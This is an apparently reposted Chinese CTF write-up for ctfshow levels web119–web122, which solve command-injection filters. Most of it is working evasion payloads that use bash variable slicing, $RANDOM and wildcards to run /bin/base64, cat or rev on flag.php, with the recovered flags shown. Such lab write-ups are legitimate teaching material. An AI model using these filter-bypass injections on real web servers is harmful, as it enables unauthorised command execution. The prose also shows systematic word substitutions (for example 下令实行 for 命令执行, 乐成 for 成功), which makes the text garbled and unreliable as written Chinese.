十念 发表于 2024-9-24 00:18:33

ctfshow-web入门-下令实行(web119、web120、web121、web122)

目录

1、web119
2、web120
3、web121
4、web122

1、web119

采用 118 的 payload,回显 evil input,说明新增了过滤
https://i-blog.csdnimg.cn/blog_migrate/e3b9571fa462fa384671c22f5ed47bbb.png
单独测试一下,是 PATH 、BASH 被过滤了
在上一题的底子上,我们再介绍一个内置变量:$RANDOM
它会天生一个随机数,长度一般是 4 位或者 5 位,也就是说我们可以得到 4 或者 5 。
https://i-blog.csdnimg.cn/blog_migrate/30cc6f45cb317b855a41abbd66f0b0cf.png
那么我们就可以构造出 /bin/base64 去读取 flag.php,主要就是构造出 / 和 4,其他使用通配符。
构造 /bin/base64 flag.php,payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? 此中 ${PWD::${#SHLVL}} 就等同于斜杠 /,${#RANDOM} 的值大概是 4 或者 5 ,所以大概需要多试几次。
https://i-blog.csdnimg.cn/blog_migrate/f1dbe00fd951e19c198a43a38694b032.png
得到:
PD9waHAKJGZsYWc9ImN0ZnNob3d7MTViYzM3NTItMjYxNC00YmY4LWI1ZDYtZjQ4YmYwZTA4NjNk fSI7Cj8+
fSI7Cj8+ 进行 base64 解码:
https://i-blog.csdnimg.cn/blog_migrate/4978717a9ce4f1740e935ef13fb40601.png
拿到 flag:ctfshow{15bc3752-2614-4bf8-b5d6-f48bf0e0863d}

   其他尝试
固然我们还可以构造其他的,我们知道 cat 也是在 bin 目录下的,尝试构造 /bin/cat flag.php
这里当前登录的用户名应该是 www-data,我最开构造的是 a ,取变量的末了一个字母,也就是 /bin/?a?
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~Q}? ????.???
下令实行乐成了,可惜实行的不是 cat 下令:
(也大概不是实行成了其他下令,也大概是读到了其他的文件,并未匹配到 flag.php)
https://i-blog.csdnimg.cn/blog_migrate/1c8ca253d0780089f0f8e5020347f5a4.png
我们可以来看一下 Linux 系统的 bin 目录下符合要求的下令:
可以看到还是许多的,因此并不肯定会实行到我们期望的那个下令
https://i-blog.csdnimg.cn/blog_migrate/17cc810b669362e55135776cba5be67d.png 这里我们构造 t ,也就是 /bin/??t,题目提示内里说:
${HOME:${#HOSTNAME}:${#SHLVL}}   ====>   t 构造 payload: 
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???  cat 下令实行乐成,拿到 flag 
https://i-blog.csdnimg.cn/blog_migrate/99df46eb22ccc3e733a3000c549ef3e4.png
$HOME 应该是 /var/www/html,但是其实我也并不清楚 ${HOSTNAME} 是什么以及它的长度是多少;假设 ${HOSTNAME} 也是 www-data,那么它和 $USER 长度就是一样的,将 payload 中的 HOSTNAME 替换成 USER,但是发现打不通:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#USER}:${#SHLVL}} ????.??? 说明它两内容长度不一样,这里乐成取到 t ,说明 ${#HOSTNAME} 是 10。

此外,我们是否还可以继承构造 nl 下令呢?
我在我本身服务器上发现 $LANG 中存在 n
https://i-blog.csdnimg.cn/blog_migrate/5d2b13262d002ef7ae86f6c87f5a1d42.png
构造 n:
${LANG:${#SHLVL}:${#SHLVL}} https://i-blog.csdnimg.cn/blog_migrate/59aec3f9ee144955a69a6821f18aa586.png
构造 nl flag.php 
${LANG:${#SHLVL}:${#SHLVL}}${PWD:~Q} ????.??? 可惜也没有买通,具体的题目情况和我本身服务器的不一样。
其实还有其他包含 n 的,这里的话我们就需要构造数字 3 
 https://i-blog.csdnimg.cn/blog_migrate/a93c428548f16277d082152e1c3d6503.png
但是 3 这个数字欠好构造,我们可以倒着来取,还记得上一题时我们说到的波浪号吗?
我们倒着取索引为 5 的便是 n,构造字符 n:
${SHELL:~${#RANDOM}:${#SHLVL}} 我们说了这个随机数长度大概是 4 也大概是 5 ,因此也需要多试几次: 
https://i-blog.csdnimg.cn/blog_migrate/25db9c169ede3e7b5f8576cd1fa0b783.png
构造 nl flag.php,payload:
${SHELL:~${#RANDOM}:${#SHLVL}}${PWD:~Q} ????.??? 可惜还是不行,一般来说 shell 和 bash 都是 /bin/bash
https://i-blog.csdnimg.cn/blog_migrate/7e5d50d4b887f2899d4bf69aa3654769.png
于是我回到了上一题,没有过滤 BASH 的题去实行,发现无论是 BASH 还是 SHELL 都不行。
不知道题目出在那里还是说它确实没有这个或者内容不一样(有知道的师傅可以告知一下谢谢)

2、web120

直接给了源码,新增过滤 HOME
https://i-blog.csdnimg.cn/blog_migrate/1b2ec73130085f89a2136125dcfda50a.png
base64 的 payload 可以继承使用:(多试几次)
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? https://i-blog.csdnimg.cn/blog_migrate/4505d7b8e460190f1268999da8710a75.png得到:
PD9waHAKJGZsYWc9ImN0ZnNob3d7YjU0NTdhMjYtYzgwMy00NDVkLWFhYTEtM2M5MTZjYjZjNTE5 fSI7Cj8+
fSI7Cj8+ base64 解码:
https://i-blog.csdnimg.cn/blog_migrate/9bc1dd22adf09ceb04148860098030c1.png
拿到 flag:ctfshow{b5457a26-c803-445d-aaa1-3c916cb6c519} 
看了提示给的 payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.??? https://i-blog.csdnimg.cn/blog_migrate/7ec102bdc14653d773e6808d847633ac.png
好家伙,就是前面上一题我没有试乐成的,读出来也是乱码,我还以为是实行成了其他下令呢。
也大概不是实行成了其他下令,也大概是读到了其他的文件,并未匹配到 flag.php。
https://i-blog.csdnimg.cn/blog_migrate/54d84cec2157b71c044342bb73f5553e.png
我也搜索过 flag ,但是没找到什么有用信息:
https://i-blog.csdnimg.cn/blog_migrate/d7d0e4800dc6024dfb42baa83a9dd52a.png

3、web121

也是给了源码,但是过滤东西更多了
https://i-blog.csdnimg.cn/blog_migrate/690b048e1663ae3cd5ce25ac7f10a424.png
SHLVL 被过滤掉,我们使用 ${##} 或者 ${#?} 取代:
https://i-blog.csdnimg.cn/blog_migrate/08d0ee38edba1be1d19604bf72d18be3.png
还是采用 base64 的 payload,修改一下 payload:
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.??? https://i-blog.csdnimg.cn/blog_migrate/66b9d24f5df4cc3627fd0f408a18dbfa.png
PD9waHAKJGZsYWc9ImN0ZnNob3d7MDBhNzA4YmYtMWMzZi00N2M3LTllYTUtNGM5ZGVkNWU3Mzk1 fSI7Cj8+
fSI7Cj8+ 解码:
https://i-blog.csdnimg.cn/blog_migrate/fecd86586f7da9d800ab08846b56f5b2.png
拿到 flag:ctfshow{00a708bf-1c3f-47c7-9ea5-4c9ded5e7395}
此外还可以构造 rev 下令:
${#IFS} 是 3 
https://i-blog.csdnimg.cn/blog_migrate/a51a362cb2990f97d9b84f02646c571c.png
payload:
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.??? 因为 $PWD 是 /var/www/html,从索引为 3 的开始取 1 位就是 r,结果取倒序即可。
https://i-blog.csdnimg.cn/blog_migrate/d4f61cbd0113a9cb9677803a7c826d2e.png
这里出现了 3,放到前面的题去试了下,BASH 和 SHELL 的依旧是不行,岂非都不是 /bin/bash吗,很奇怪。

4、web122

https://i-blog.csdnimg.cn/blog_migrate/9e323c0034d713755481aa7889e1c73b.png
# 也被过滤了,很难去得到长度和数字
题目提示:
通过$?来实现的,$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误 https://i-blog.csdnimg.cn/blog_migrate/2b73b20fa992e7f7da9df6fcc5907a47.png
但是我在本地测试它实行失败并不是返回 1,只是一个非 0 的数。
提示给的 payload:
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? 它这里用到的是 /bin/base64 去读取 flag 的,此中 $? 被表明成了 1,因此 ${HOME::$?} 对应的就是斜杠 /,后面使用随机数变量随机天生了一个 4 至 5 位数,然后取随机数的第一位,当随机数的第一位为 4 即可匹配到 base64,不外前面的 <A 是什么我并不理解,去掉是不行的,等待大佬表明下谢谢。
https://i-blog.csdnimg.cn/blog_migrate/c64e090b6d1ea37f36eccdf10da6169e.png
https://i-blog.csdnimg.cn/blog_migrate/6fc1162431d83fd12575ebd75ef0015f.png
解码拿到 flag:ctfshow{3d1c6ce9-7bcf-4e96-a263-1172c8a79152}

关于使用 Linux 内置变量与 Bash 切片的下令实行至此结束。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: ctfshow-web入门-下令实行(web119、web120、web121、web122)